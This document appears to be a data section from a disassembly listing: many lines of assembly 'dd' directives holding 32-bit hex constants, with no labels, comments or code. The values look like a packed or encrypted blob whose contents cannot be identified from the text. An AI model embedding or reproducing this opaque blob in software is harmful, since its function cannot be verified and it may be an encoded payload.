		dd 0C1CCC823h, 0CF15082h, 0EC0299Fh, 0C35C8941h, 0AA066129h
		dd 118BEC77h, 0D56719EBh, 0CD238071h, 7AF4FBE0h, 7202336h
		dd 7CB31364h, 84F5A00Ah, 0B20A3C34h, 2C55ECFAh,	0C7DCD458h
		dd 0BE60401Dh, 36F1041Eh, 932393C9h, 0F7DCEC39h, 5862F7DCh
		dd 327F6B94h, 6CB9F213h, 481483ADh, 0D0F748F7h,	6562426Ch
		dd 1FE0AD14h, 89125AA3h, 5B3596ADh, 8068FBF2h, 0F750CB93h
		dd 0ACF00412h, 3D116078h, 166C164Ch, 4F4E71F0h,	83B6062Dh
		dd 0AFE8CED7h, 8B2F901Dh
		dd 0A47B0B10h, 6812342Ah, 0B07C4478h, 10EBD6B0h, 0E5C8119Fh
		dd 9E4BC86Fh, 0F59CF59Ch, 0A1D9C09h, 27BF9D4Ch,	0C92F6C98h
		dd 0CC099880h, 0EA87554Ch, 9E8319CBh, 5CEB9518h, 7270057Bh
		dd 6724E49Dh, 150AEECDh, 0E01F468h, 60B99F5Fh, 0BD04F840h
		dd 725E431Bh, 0F594680Ch, 649F594h, 1EE0B0E4h, 64C9090h
		dd 8CD090E4h, 0D518B68Ch, 2047E733h, 45EB900Bh,	8CE04646h
		dd 0C8D18C3Ch, 84E786E7h, 84F588F5h, 43C82D91h,	0D8327447h
		dd 0CEF03070h, 0A5FCF7E4h, 3102C15Dh, 5A6B9D92h, 92EF0692h
		dd 0F7EC8893h, 8A880E48h, 0A45E4247h, 844EF6F5h, 858A12C1h
		dd 4F709388h, 8B3043C9h, 1E98A124h, 0B548601h, 5D847EDAh
		dd 4186C416h, 65DFFCCh,	5DCDCDCh, 5577401h, 74021E74h
		dd 0BEABB818h, 89E83049h, 405C830h, 0A4851280h,	5F740C5h
		dd 7B10E324h, 0ABE514E0h, 0DCA7A758h, 2C02A07Bh, 1D11DC3Fh
		dd 77E03E8Ah, 1047B40h,	83490488h, 850F5AF8h, 0E9072A7Bh
		dd 0FDF44729h, 0C8B05DCh, 117F9035h, 0FB51B9E2h, 0BE59052Bh
		dd 0A481943Ch, 0E157FBFCh, 0A4A5BAA0h, 91FB52B9h, 1164D8ADh
		dd 0DCA9E7FCh, 995534E1h, 97FA06E8h, 0D1EE7081h, 0D46606C0h
		dd 0C26A3C6h, 0B33FEA04h, 5BC01B2h, 0C50C8B28h,	1964946h
		dd 46091C7Eh, 8E1B76CEh, 4FEB8130h, 0E4280311h,	3D793919h
		dd 912B2004h, 5E46793h,	3B061918h, 109EE998h, 2A080807h
		dd 93692D74h, 74076CEDh, 6D49F24h, 66139DE0h, 88B4F493h
		dd 4A46CE13h, 0A68B2798h, 9BD1D1FBh, 26911BF0h,	42C0D884h
		dd 15694197h, 801B942Eh, 0FBC81F24h, 0B0FBF004h, 303BF3AEh
		dd 3405850Bh, 0CC160F51h, 3C896531h, 6293E468h,	48648230h
		dd 25761CBEh, 27AAD657h, 0B46914D4h, 8B7CC398h,	72CEC8Dh
		dd 0B58D8813h, 617B538h, 678C438Ah, 73FE62Ah, 3945069Fh
		dd 376A3DE0h, 0EC092355h, 0CD95B645h, 8221ECB4h, 39005E8Ch
		dd 0D1E0F9Ch, 30BC84E4h, 0F2FA2CFAh, 97214790h,	8F2E9454h
		dd 52209DB8h, 70D885ACh, 136CCFE8h, 4BD409A1h, 0CB7F487Ch
		dd 861F6CB3h, 0F40D4076h, 1C32F03Ah, 0C7157C12h, 0B45DEBF0h
		dd 0DF9F5887h, 0EA9DE86Dh, 0D6CC74FAh, 0A38B48F1h, 1423E3A0h
		dd 0D8B2D053h, 15070010h, 4191907Dh, 353B43A6h,	64207642h
		dd 780FEB2Dh, 0CA990646h, 3B414973h, 419081D8h,	0F2052B33h
		dd 0C9B367B4h, 25760D0Ch, 0E8A0AC0h, 195B51D2h,	0C44C8A3h
		dd 0A8A76A2Bh, 0DDD9701h, 78A1FE22h, 6DBA1672h,	0D11AA164h
		dd 0BBDEh, 25896450h, 1A956A07h, 210B7A21h, 0F2E86589h
		dd 54E80E4h, 6517A927h,	28F401C0h, 0C5485E8Ch, 0BAA9207h
		dd 0C260DC15h, 20C1120Dh, 7A15153Ah, 8D5A0242h,	0EB0C5594h
		dd 80A88612h, 982D0E03h, 0B40DBFDFh, 0EB34E54Dh, 1DEB0825h
		dd 682B7068h, 0A893E5DCh, 2300CA94h, 838BC327h,	0E1A05B67h
		dd 0F05B8B1Eh, 96AA0D9Eh, 0A6B4565Bh, 45351414h, 50D86CC2h
		dd 0F3AA6C38h, 48120875h, 5E038604h, 0F696F52Fh, 334093B6h
		dd 2E500576h, 0BC5D8A85h, 83113CA8h, 0A4DD0EB8h, 3AE6684Ch
		dd 0DD2D0BD0h, 84605CB5h, 0D3882F3Ch, 4673018Ch, 0AB32A134h
		dd 20849064h, 4565604Fh, 0A8EB98A8h, 1660DE3Fh,	0F424A70Dh
		dd 308DF59Ah, 1704581Ch, 0FF277E64h, 852BE050h,	958EC10h
		dd 2A2A21EBh, 1C64D0C3h, 6C680014h, 64D92A22h, 1B7510FBh
		dd 451C0CE4h, 6404F50Fh, 48485D87h, 6063BA23h, 7D10A33Ch
		dd 0A005DC35h, 0D98E68Fh, 9CC78B57h, 3BB59138h,	0BEEB4BACh
		dd 6D96E86h, 0F84B2502h, 16D90C36h, 834B607Dh, 1E54017Ch
		dd 91502015h, 50495308h, 0D18AD876h, 83BBE9BDh,	0CD03C6Ch
		dd 0F4060C52h, 0A1D23708h, 5DEC102Ch, 0C131414h, 477071Fh
		dd 0DE9A3DC2h, 0F4822687h, 401BA114h, 0BB9C05A3h, 1547C901h
		dd 71F06EBh, 0C74148F1h, 0E0500C38h, 0EF4094E6h, 49C32D40h
		dd 2570E14Bh, 4F410AD9h, 0E2F936A2h, 48538C8Dh,	0F452D868h
		dd 2584EC04h, 0E0EEBC0h, 52084059h, 8F4ABBB5h, 4B63C102h
		dd 6568B3CFh, 935664A7h, 0E80F8055h, 0BC942AACh, 50FCC908h
		dd 0ED88E347h, 826A0037h, 812EC0B9h, 0FC795AA2h, 5D859270h
		dd 2D73E350h, 0A02EFCA9h, 17749D90h, 0B0FA3415h, 7A019580h
		dd 94B46869h, 3B3E4BB2h, 70018523h, 6DA10FEh, 1B31F883h
		dd 6CE26CA5h, 460C5FC9h, 1015FA6Ch, 0A4D87373h,	558DB2BAh
		dd 528760DFh, 0A3262CADh, 0D95B0F1h, 0E79600F6h, 241AF359h
		dd 661184C3h, 592A17D5h, 4E40F24Bh, 8A9CC906h, 201650CFh
		dd 0C2994F12h, 4F907204h, 0ABDC566Ch, 0FC134908h, 8C006A66h
		dd 1CE6826Ch, 261D149Ch, 0E016F520h, 96121C90h,	87CF8A8Eh
		dd 6CC9172Ch, 736868F4h, 6827233Fh, 0C2830F68h,	151019EAh
		dd 7D03652h, 23B99869h,	4648F496h, 95689668h, 652A612Dh
		dd 88435A07h, 40A84C0h,	10A6F00Dh, 0B5102266h, 0E60B22Bh
		dd 0A40B139Bh, 0EA26F4E1h, 0E8891E4Ah, 9A258A8h, 48A39224h
		dd 5046D22h, 0DD35BB69h, 9415D203h, 0EB585764h,	0EC86B3C2h
		dd 15CC681Ah, 0E98BA959h, 57A2B26Eh, 5CAD8003h,	38C09B01h
		dd 0AE64287Fh, 5096C05Eh, 95364D55h, 6312343Dh,	1E9FBC97h
		dd 61B2B512h, 0C8508B3Eh, 9BB09464h, 0F460A30Eh, 0EE290355h
		dd 580A0AFCh, 0D5638FC1h, 1275889Ah, 4F6402C9h,	8B646018h
		dd 1036AD84h, 5122FC10h, 10E54738h, 4D8C09EBh, 0E4AC117Eh
		dd 47EC0D70h, 0C84E410h, 1CC83171h, 0F0AD81FCh,	0FA06C10Fh
		dd 19300A14h, 95068775h, 3D550938h, 89DC3D10h, 8C278FFh
		dd 951C63BCh, 98D4C441h, 3F68CA8Dh, 0E8F60464h,	8810458Ah
		dd 60C6E80Eh, 33184803h, 58D8F8CEh, 0A42AFB1Ch,	456A13F4h
		dd 7A97572Fh, 0B1112B2Fh, 65F87D08h, 0C860A77Bh, 30118B08h
		dd 251700C8h, 0FB69C880h, 0F6715AAAh, 0BFD4453Ah, 4418D01Fh
		dd 0F3149B98h, 8B8236F0h, 59667A7Dh, 0B2E45857h, 0C8C149B7h
		dd 0B9E1E0D8h, 22FE01E0h, 0D74D446h, 0EB01E657h, 91C5CC17h
		dd 98BC620h, 9D630AF2h,	0F7491839h, 0F453D43Ch,	6CB3EC6Dh
		dd 0C8D0D07Ch, 0ECC7359h, 90C55832h, 20F087CCh,	8980A927h
		dd 591FFD50h, 0E0A10800h, 960C6869h, 11E001A7h,	86D0FF8Ch
		dd 0D098009Fh, 689F918Dh, 19D5DFCh, 141F4AF0h, 0E792CC25h
		dd 152A22C8h, 0DB21DCD8h, 0C6B837D8h, 0CC58016Bh, 2D921909h
		dd 9CD4D80Fh, 0E81B300Ah, 22E9D3F3h, 0CD73051Eh, 3DB61C44h
		dd 5FD44F3h, 3C1A54D0h,	8C8BC6ECh, 278D0540h, 44E80E8Bh
		dd 0BF0F7EF0h, 0A500A40h, 0A1038DE9h, 1344732Bh, 26803FEBh
		dd 8AC490B7h, 0EF00C6C9h, 9709ABC2h, 0C0088A0Eh, 0D3EF0AC1h
		dd 4D063907h, 0B86040F3h, 5B8F3151h, 147E667h, 0C851AD23h
		dd 0DB27FD14h, 1C8DDED9h, 6200D92h, 27273024h, 34382727h
		dd 0C8BD2C28h, 2CCC4160h, 78FB06h, 0A6F10C98h, 3E2BBD32h
		dd 69DD145Eh, 0B55AB099h, 0F55A022Ch, 0C460038Ah, 269012E7h
		dd 6974AD8Ch, 5B35AF80h, 4848FDC4h, 233D037Ah, 5A49ABDBh
		dd 1853C30h, 0A7F1AC19h, 1C196B73h, 9A497E59h, 0EB0D7624h
		dd 5383416h, 0C7E417EFh, 0BCDE8D85h, 0B0437502h, 0DFA58F04h
		dd 2C8D8CE2h, 80141888h, 0D6CF613h, 0D4F76BBAh,	0F215204Bh
		dd 879217BEh, 0E2300023h, 99E88C8h, 47EF027Ah, 30E11918h
		dd 10DD107Ch, 0DD20C958h, 1C1B896Bh, 0AF191A07h, 34B3BC2Ch
		dd 30182E8Bh, 8C25815Bh
		dd 1C20056Ch, 812F1EC3h, 0F8946193h, 0EB2C4F22h, 0B28D9032h
		dd 684F574Eh, 53DB2072h, 2322EB28h, 22F84014h, 7310530Bh
		dd 28755E44h, 67860E1Eh, 4E214D56h, 0C94B9D5Bh,	0AE180818h
		dd 0AA430142h, 0CC49FF92h, 0CC92E4AEh, 0A011805h, 0D981D658h
		dd 8A103502h, 0CF186177h, 54C2CE0Ah, 413DF03Fh,	0E96D9228h
		dd 0E50F0E7Fh, 0B8051FE3h, 0F053161Eh, 0F6A38888h, 1B190791h
		dd 0C0143614h, 29B90927h, 0EC1490E0h, 7530EC25h, 3F632BA4h
		dd 0A48889ECh, 18261836h, 3A024F63h, 8E92ADE8h,	7058E826h
		dd 62A82CCAh, 45102C8Ch, 0A69DD0EAh, 0B220B4E4h, 0E2759300h
		dd 26824FFCh, 0A42B65F4h, 5C2111Ch, 0DF6226A6h,	89DE01D4h
		dd 0E496EF3Dh, 8B430662h, 1B671442h, 0B5061A84h, 91C6863h
		dd 310DE809h, 3EC1E207h, 94329B5Dh, 6068599Eh, 25D9A096h
		dd 0FEECA11Bh, 6D500F0Ch, 1EC2A4B6h, 10EF45A3h,	10A35482h
		dd 1403BA13h, 0BF557AECh, 13A0EE2Fh, 1ED84B9Ch,	0BD2B2B66h
		dd 3035F225h, 0CD2E778h, 0EEE4C385h, 1BEB7205h,	2305FB21h
		dd 0EEE41C93h, 3876038Ah, 20CF5A6Bh, 0B721674h,	20463D98h
		dd 44DA5D99h, 222CF7ADh, 0E85B8D8Dh, 0B0948A5h,	82345C18h
		dd 0B36462C2h, 0D5173716h, 304F6CC2h, 0E8A4043Dh, 0C052BC58h
		dd 0B610D29Bh, 7B270152h, 0B0E1CA93h, 0C8022201h, 3A87901h
		dd 467BFC58h, 4917C91Bh, 1B758ACEh, 1C016413h, 98745C69h
		dd 25206D96h, 58C32837h, 0F0112FCh, 0B895E601h,	0CD00F276h
		dd 0FC101856h, 434B3C80h, 4105915h, 0FB991B01h,	0D46824EBh
		dd 4B0F1679h, 0DD54E002h, 0BC8392B0h, 96B40492h, 1889A4A4h
		dd 81B81142h, 310365C4h, 9601B046h, 304D1AE5h, 2F2A1048h
		dd 0E1EC880Ch, 9534B3CEh, 253D1EBAh, 97B260AFh,	5B081036h
		dd 91B17359h, 143B160Ch, 28FB3D04h, 3F5C6CBBh, 38752320h
		dd 53587951h, 0A0BBE31h, 538A7E39h, 132025B6h, 94FEB41h
		dd 0D796CBA9h, 5A3EC04Bh, 6628761Ah, 28308E2Eh,	79B3B41Ah
		dd 958F904h, 50C06EEDh,	0EB044604h, 5E2C05C8h, 9843902Dh
		dd 921CD467h, 2C1EC423h, 67986798h, 912C9087h, 2141003Dh
		dd 5A25F61Fh, 610A167Eh, 0CAB0347Ch, 7F7AF20Eh,	5420F029h
		dd 816CB091h, 20812081h, 961E4287h, 4CE796E7h, 5147060Ah
		dd 180766DCh, 27AA5350h, 0A1E80CF2h, 627FA7E2h,	7445AF0Fh
		dd 26AD61E5h, 1128C32Bh, 0CC576942h, 0BEE51FA8h, 0C6CFDFE8h
		dd 0A50CD5BEh, 7DA4A566h, 2A75EEE0h, 1486C98h, 0A78141Fh
		dd 7C3580F2h, 7755822h,	0B2EE078h, 0BE12D867h, 0A8C9B78Ah
		dd 0D892ECC9h, 2B1A8D0Fh, 3BCE3DF3h, 0ABE049ECh, 0E820CC28h
		dd 0DC4FF458h, 7F5342CCh, 3230E80Eh, 5BBB6C43h,	39DA1070h
		dd 337F6605h, 78E1DCA4h, 0DC68231Bh, 443FDC4Ch,	0DDC8E405h
		dd 182F6B0Eh, 7537390Bh, 81AD0C09h, 3C3E857Eh, 2B0BEBD5h
		dd 2D0156Ch, 622BD8CAh,	0F15784EAh, 175D697Ah, 436AECF0h
		dd 99EAAE30h, 5E5F1A1Ch, 19E4100Bh, 3A6424FCh, 5DB40745h
		dd 38EC1C83h, 343734DDh, 8118AC0Eh, 10AA5C3Ch, 0D901F2BBh
		dd 458B7D10h, 6A298914h, 25AC907Ah, 81001B6Ah, 0D8F8838Bh
		dd 1FB75BBh, 52B48FEh, 78AA9F18h, 40180199h, 0EC4A54C9h
		dd 0FD872037h, 260EB97Bh, 0A28F610Ch, 87229E0Eh, 36FDB135h
		dd 4FA7CF90h, 0FE34FE10h, 4486CD0Eh, 9F04683Dh,	36565289h
		dd 70CDDBBBh, 0E1C71104h, 16220B59h, 75C1C970h,	0A43D9EF8h
		dd 7508CAE9h, 6D845ECh,	0BC1F92E4h, 1B7E1C9Bh, 9EDC1F17h
		dd 96132036h, 7D20D051h, 366CBC91h, 67348308h, 622943D9h
		dd 3D77C4C9h, 59DA003h,	2B0C2000h, 0ECD8EA21h, 68441180h
		dd 310005FAh, 8D0E2D92h, 525FDD7Ah, 4C7E0305h, 8B54C068h
		dd 0EBC49713h, 2765C3AAh, 0B2FB2EB4h, 80186791h, 685600A4h
		dd 0BF54599Ch, 2D0059D4h, 0F7596599h, 8D8BF9h, 0B7FBF62h
		dd 0F981C82Bh, 0C8057696h, 8C597B59h, 25DF461Eh, 0EDD81366h
		dd 0F8554C11h, 19459C08h, 399979DEh, 0DBD2F8E8h, 1840154Ah
		dd 9C671A4Ah, 662E3290h, 0E2F203h, 4A3E0CD0h, 0B748D5B6h
		dd 11BE233Dh, 0C7BEC259h, 5992DCB5h, 0EC15A834h, 0E7C97929h
		dd 0F8E4F8E4h, 3BEF8E4h, 60966E66h, 0C5D951F7h,	0B37EE0DAh
		dd 5B22077h, 3CE01921h,	423CB387h, 858B3DDFh, 7DE3E4A1h
		dd 621B0014h, 18C8F170h, 5C196090h, 0F93F56h, 50E290E9h
		dd 54007F9Eh, 840E03BBh, 0C44F480Bh, 55F014A1h,	3C7E4C0h
		dd 743807F8h, 0BE590C65h, 7EA99E14h, 28B3803Bh,	9DFCBAF6h
		dd 18F74810h, 5D45AF01h, 20B0FC19h, 0FC3F6F11h,	481EC01Ah
		dd 2774FE44h, 6CE22530h, 8DBA968h, 584BC4F6h, 0F608C82Ch
		dd 9E6426A3h, 487202FBh, 0D6509DF7h, 60B0EC20h,	431EFBA7h
		dd 4B01690Ch, 0F7489C80h, 7B647226h, 76A1D60h, 0F5E8DCEBh
		dd 0E49E13Bh, 0A580F5E8h, 3D242B25h, 0A00A4DF0h, 480B4B18h
		dd 12CF3682h, 8CF7F784h, 63964D94h, 0F5E07F9Fh,	0EF5DC2Ch
		dd 0EFCEFED7h, 0F5DC2C0Bh, 4C7C0005h, 0BC4B2815h, 8D3EA80Eh
		dd 8B8C3711h, 0DDCA035h, 18BC6690h, 0C8BF7B1Eh,	2118A7C7h
		dd 18208488h, 9DFBDD3h,	0EB0B9589h, 8D198E9Eh, 0DB7F33B6h
		dd 2DE8478Ah, 0F70C058Ch, 0D9CD2D9Fh, 0A90335FDh, 85C6AD45h
		dd 8A2D063Fh, 1EE9DD23h, 5398588h, 33330B8Ah, 2330D0B3h
		dd 0C81092Dh, 86041202h, 239353A9h, 1117F939h, 3923162Eh
		dd 1B349239h, 9036603Ah, 6E402093h, 0F491392h, 9DCC31E2h
		dd 0F1702160h, 0B246C651h, 2F16DDE7h, 0D0F8FE9h, 1631C964h
		dd 796C25F5h, 1AF21321h, 0A4272025h, 0BC691B84h, 2179019Dh
		dd 0AC3E011Fh, 1B239DB0h, 97EBAA0Fh, 5CA48C5Bh,	0BE27B198h
		dd 0A7C80D84h, 2D7F002h, 0D8B091Bh, 23646018h, 2BE8A1B6h
		dd 0D02C3DC1h, 670577E4h, 9C1CD0D0h, 9D78FFFFh,	5F358B64h
		dd 98B680Bh, 669D82Ah, 48182E69h, 81491018h, 0D4181919h
		dd 99ED7FC4h, 12F706A7h, 0A14305h, 44D689EDh, 8525296Ch
		dd 203D8950h, 0DA6F9982h, 0E530000Ch, 0A610B658h, 0B91B5546h
		dd 8C284E4h, 514329Dh, 1918902Fh, 4E370C10h, 9C97041h
		dd 0FC465373h, 0BC49229Ch, 0C3007827h, 0F66E061Ch, 13929B2h
		dd 7536F057h, 0C49B4B15h, 11E41C80h, 892AB86Dh,	49C7B217h
		dd 72DE9CD4h, 22724761h, 2034C85Ch, 0E48E40h, 0C8B80916h
		dd 266120F6h, 6F055516h, 953C9110h, 5601A84Ch, 0C483058h
		dd 4C3798C8h, 13C41175h, 680DF066h, 0D9CF2201h,	5BF37ED9h
		dd 76E10211h, 4BC26102h, 42014B88h, 20389D25h, 6A1C7C17h
		dd 0EC8EC28Bh, 0A607D784h, 813070A2h, 164ABC1h,	18FB9C64h
		dd 8B3B0B90h, 1E5C88EDh, 0A1F8922Fh, 9C4C6872h,	849C4083h
		dd 88212C27h, 0FE32F01h, 863018C3h, 852A7034h, 900D2A42h
		dd 218AE28h, 1AF923Bh, 0F80CAC2Ah, 7A32184Bh, 0FE793101h
		dd 69E8F39Bh, 744E9076h, 3B39CE2Fh, 0F1980AF0h,	9063032Bh
		dd 0F6835CAAh, 0AB880410h, 11E029D9h, 71A130Eh,	0FAD90EC8h
		dd 35D09BE8h, 78101BFCh, 349BE024h, 0A13A8A00h,	0C5A13194h
		dd 0C013E6D1h, 98A0B481h, 0C5CFA5h, 2428057Bh, 0A3367C1Ah
		dd 137F1261h, 629BC468h, 0FF252CC4h, 44F4119h, 0A07F293Ch
		dd 490086E5h, 0F4C879B4h, 9CF5A09Fh, 0F503A4E5h, 0E59CE77Eh
		dd 5BD8106h, 1CCCB603h,	3F1D7D6Ch, 8046A59Ch, 3B19C111h
		dd 2B49CAEBh, 0D191792Eh
		dd 0A4889BD4h, 24C87D9Bh, 121410ACh, 8590394h, 940594C8h
		dd 478B5EAAh, 0E1227CBh, 18E78690h, 94880E1Ch, 490081E4h
		dd 0B29B78C9h, 3B990693h, 4764561Bh, 0BC26F181h, 20FD12EBh
		dd 0C264F241h, 4C9B583Ah, 76A3871Ch, 4C17A920h,	0E12F149Bh
		dd 204E4253h, 0EF883C43h, 0E42E4272h, 1E572030h, 43640F64h
		dd 1F018120h, 6552D03h,	2C143203h, 34184EFBh, 78A391E8h
		dd 799B0889h, 954A9C64h, 9AFC2D0Ah, 2E93C126h, 9AE8B821h
		dd 7936131Ah, 0EE808C81h, 24DC3536h, 6F20370Ch,	58806364h
		dd 88BB2392h, 0A9B11FDBh, 1ABB35E8h, 714850Ah, 5670BDF4h
		dd 9A000768h, 0BC2C92C5h, 0BEEEE09h, 0ED90C124h, 22D08D43h
		dd 6C064A58h, 0BD714D83h, 105C8324h, 0EC060910h, 61AA9B0Ah
		dd 6125E5B8h, 0B040984Bh, 201A392Ah, 42A43203h,	2C56E77Ah
		dd 0A59006C0h, 0A4378405h, 7F7E0286h, 19077610h, 569C01B0h
		dd 4B09742Fh, 0E348C962h, 21B2DD08h, 9A7C113Bh,	23AC4390h
		dd 0CD1C0189h, 0C384629Ah, 131FB902h, 40643812h, 3E757C26h
		dd 8B347CF2h, 9A0CAD34h, 6FC7CFACh, 199A740Bh, 0F29A600Ch
		dd 0BBD9AA1h, 18A62F68h, 25B7822Ch, 0EB53054Ah,	0EC4484E4h
		dd 500A5F25h, 0C85C249Ah, 44F94D09h, 0F210E2FDh, 303C201Ch
		dd 1C80729Ah, 9A24DC40h, 459849Ah, 3926105Ch, 0A64060ABh
		dd 8B205210h, 8C3C9480h, 0B3085A4h, 0A48C0720h,	65630EB9h
		dd 4B37011h, 4064A443h,	0E2A33C3Bh, 69B65ACBh, 99D46809h
		dd 485C9732h, 0A999F23h, 1578042h, 70241B40h, 0F996100h
		dd 835F99B0h, 0D0E486Ch, 722DA86Ah, 0BEC90D80h,	8C709CACh
		dd 3E10C09h, 9974682Ah,	91E2791Ch, 0C3215AECh, 70996C62h
		dd 84C06608h, 260A37C3h, 28D2AF0Bh, 88AC6BC7h, 0D66AA126h
		dd 72104901h, 0F6225CEEh, 84861E31h, 3A2905A4h,	84C3006Fh
		dd 25DA014Bh, 80273E4Fh, 84A484A0h, 45EAA1A4h, 16054ABEh
		dd 5538118h, 0A6A84BE1h, 6417C306h, 7080439h, 3C20BE68h
		dd 6557B34Bh, 9D04408h,	0B04EC9E4h, 75175689h, 648E7948h
		dd 4040490h, 0D8132020h, 474FEB2Bh, 0B23B6700h,	4F600C9h
		dd 565B0050h, 98ECC91Dh, 752D3414h, 0FC3550EFh,	0E0AFC108h
		dd 89C1D158h, 1AEBFB63h, 438AC89Ch, 0C44F98F6h,	8401C898h
		dd 0A07CDB91h, 43451EAAh, 0E4F2D691h, 78D732F3h, 7CA07C9Ch
		dd 6E4308A0h, 7CA55713h, 0C87967A0h, 9BFC1393h,	9C789BFCh
		dd 163A40B6h, 8F98A810h, 0C00E4056h, 0C098FA42h, 8DF24A12h
		dd 0C8E1901h, 0A10148Eh, 933CD377h, 746BAD99h, 90646A94h
		dd 3B375D18h, 2CE68289h, 0CCCF4D20h, 52235FFDh,	8448A28h
		dd 688588F7h, 0BB991509h, 69F88659h, 56AA580h, 0B2572C32h
		dd 0FA6BF91Ch, 8032C96Ch, 6EFC6D8Ch, 5CB23200h,	0C8706FFDh
		dd 0FECB2572h, 72FF71h,	73CE1674h, 13217183h, 50DE8DB2h
		dd 646B6E0Dh, 68320210h, 61286089h, 0A01CA632h,	6560A544h
		dd 1D38640Eh, 0BDB38870h, 5C9C64E7h, 260A49Dh, 0F08B1BD4h
		dd 15217E4Ch, 0F4B1B39h, 832B3402h, 6B53F1C8h, 0B98B830Fh
		dd 0ED987A5Eh, 4E5B6600h, 0CDB3AFD5h, 5010C620h, 877D9ABh
		dd 1148F550h, 88C56E10h, 0E9B8E7Ah, 0C81DCC3Bh,	160126D6h
		dd 0B310C60h, 3D3BFD8Bh, 0B6BC7230h, 892BC083h,	14DBEE08h
		dd 0C4B3B42Bh, 7643CA1Eh, 0BDF1F0Eh, 0F80934B2h, 0B48B1907h
		dd 978229Ah, 16E5082h, 35250E0Ch, 74069818h, 0CC480F4h
		dd 868EB98h, 22B777DDh,	0B326D65h, 6C97E8BBh, 103C804Fh
		dd 197DC94h, 70BB32h, 97D4243Bh, 4C97C889h, 0A05807D8h
		dd 3B59C077h, 7205E8C0h, 467EB480h, 0C8580C28h,	924D269Ch
		dd 0D7082438h, 444E0F95h, 7BF40948h, 6805B58Bh,	325E435Ch
		dd 19A035E0h, 190B0D27h, 6343203Dh, 0F21720C4h,	88DE8102h
		dd 3587901Ch, 977C7B19h, 1795022Dh, 39149752h, 98B79BF4h
		dd 0F4C640D9h, 38140E9Bh, 1874EC9Ch, 0B9208A01h, 19765605h
		dd 1428DC55h, 0A8C0EC89h, 0BE1F3CDCh, 0DC5465D8h, 3B4E282Ch
		dd 0C6135527h, 58117374h, 21766C40h, 34407B63h,	655D7B14h
		dd 1F2429B3h, 8FC9307Bh, 0BD223DEAh, 9BF02305h,	3906C390h
		dd 1E249BF0h, 264390ECh, 0E834EC19h, 19264390h,	90E42CE8h
		dd 0E4192643h, 4390E03Ch, 28E01926h, 34CF6BDCh,	0A4EEDC19h
		dd 221BBF05h, 0EC0BDB23h, 0EEB73C24h, 0D8C8D8C8h, 0E41734B5h
		dd 2AE00B2Ch, 3CC8C8BDh, 0F2A560DCh, 994A7AB0h,	0E57CEB38h
		dd 0C88A9700h, 1C675C80h, 894556EAh, 96FCB2E1h,	0C0C40274h
		dd 3D12873Ch, 0BD980A10h, 2496F092h, 65595B0Fh,	9F11827h
		dd 46809310h, 460BE003h, 79341330h, 0EDD11508h,	0E2EB9322h
		dd 41905D08h, 34032396h, 0F9CC2705h, 0F82E0AFDh, 0EB9F4883h
		dd 0E228FAD0h, 17B23104h, 12C4708Bh, 0D90CFCFFh, 0D8BF62CEh
		dd 81178B7Fh, 180F0F74h, 403B3C45h, 43E1EB2Eh, 838013E4h
		dd 9F28DEB5h, 3C96C9ECh, 0EFE00h, 7D8414D6h, 0F9240EC3h
		dd 548B797Fh, 58B34F4h,	5989015Ch, 0E3B24288h, 0A8EC35FAh
		dd 7438230Eh, 0EE62839h, 0BEC1B3C2h, 0B0681BAAh, 492CF95Fh
		dd 0C9A40C04h, 0D0038A25h, 282BF0BDh, 0C52B763Dh, 0A0CF0E73h
		dd 0F19530Bh, 893B16B1h, 52057F12h, 42020270h, 60A34014h
		dd 701AB1C9h, 0B3C11FFEh, 74ACEE65h, 0FC45D917h, 1E2041C1h
		dd 9FBEB51Ch, 0C10C142h, 4E6D5037h, 0EA1DB3B6h,	60061836h
		dd 0FB187938h, 0C59C7B02h, 569E49FCh, 0E89B24B0h, 0C7C12203h
		dd 0BA18F7B2h, 5BC1243h, 4ABB3E6h, 885FE5Ch, 5ECB1E07h
		dd 177C378Eh, 0DD92B02Ah, 941A00EDh, 2F77479Fh,	76FEC560h
		dd 6ABC7D4Ch, 0F620F68h, 0F2F88B0h, 1FED21C7h, 2567201Ch
		dd 8A460D80h, 67EC23C8h, 6873EB4Ch, 83782374h, 3C847907h
		dd 3268684Fh, 84682B75h, 60908F20h, 213AE533h, 1430B253h
		dd 32791858h, 58185C94h, 64BC7FBDh, 5818064Ah, 5C817FBDh
		dd 58188320h, 0C8172072h, 81185818h, 5805C81Ch,	6256318h
		dd 2AA15872h, 62E9AC60h, 3B5C0E21h, 992A642Bh, 75587464h
		dd 992A6499h, 0A507754h, 1200E40Eh, 6CA38073h, 0FB7E8FEBh
		dd 67722899h, 0C6A31B2Ah, 0A76514Ch, 2CA49596h,	6A2E94BFh
		dd 0F4EFBE57h, 0BDDDBA9Bh, 4FC41988h, 5912B9D5h, 71026042h
		dd 25BA3B24h, 1D11917Ah, 835A3078h, 4C2885D3h, 1C6244C1h
		dd 9027248Ah, 280184F8h, 0CE83B20Eh, 0C93C9FB4h, 30BE88F7h
		dd 0EA74A184h, 41B97EA6h, 6401811Bh, 0E9683626h, 2545F736h
		dd 1499116Bh, 50B732EAh, 53D04449h, 23E40C12h, 101027DFh
		dd 0A0E7E868h, 604EC0DDh, 1CC0FA12h, 8C8742C0h,	0BBC06B8Dh
		dd 2A6A2EB8h, 0E8292E1Ch, 9B8899A0h, 0FC521EA0h, 0E345589h
		dd 1DD9D81Bh, 1797B0FFh, 485B231Ch, 204DEA46h, 0BD81B318h
		dd 860E2661h, 3B36794Ah, 0A3DE800h, 6083E7E8h, 7D950C15h
		dd 0A8810EC7h, 67C1757h, 80358045h, 54D21021h, 0E08664DEh
		dd 0F73BB132h, 724B2C46h, 0A014A883h, 0D9811057h, 8F0C643Ah
		dd 94E4BB04h, 13FE7C9Bh, 1BB20E0Fh, 1832EB48h, 48F118F1h
		dd 0FC79219Ch, 9585F6FCh, 6BB1B2Dh, 8E6CD79Ch, 980EA261h
		dd 0BCEF270Ch, 70C6F67h, 169E6B21h, 0EB230868h,	0C3934185h
		dd 0EBF5B55Fh, 1D788317h, 10730405h, 6E4E35Ah, 92F6F95Fh
		dd 0C61F0C01h, 6B9EFDB4h, 3E73F4F1h, 50E11332h,	58C03A15h
		dd 3DB2C1CBh, 0C023904Ch
		dd 0FDB0BEC3h, 83FDB04Bh, 0B073B665h, 0C0D81AFDh, 211C074h
		dd 9FF86732h, 576497C9h, 15FE74F5h, 2E616CF4h, 0F001F439h
		dd 6426D4A2h, 0FD82E201h, 43055BFDh, 0FDB9FD4Eh, 20C4026Fh
		dd 603C65FDh, 1BF80C1h,	416A5A35h, 203B0B8Eh, 212A6D78h
		dd 0E983482Dh, 0E0D2C2E8h, 562DAB2Fh, 0FD2850C0h, 0DFB735A1h
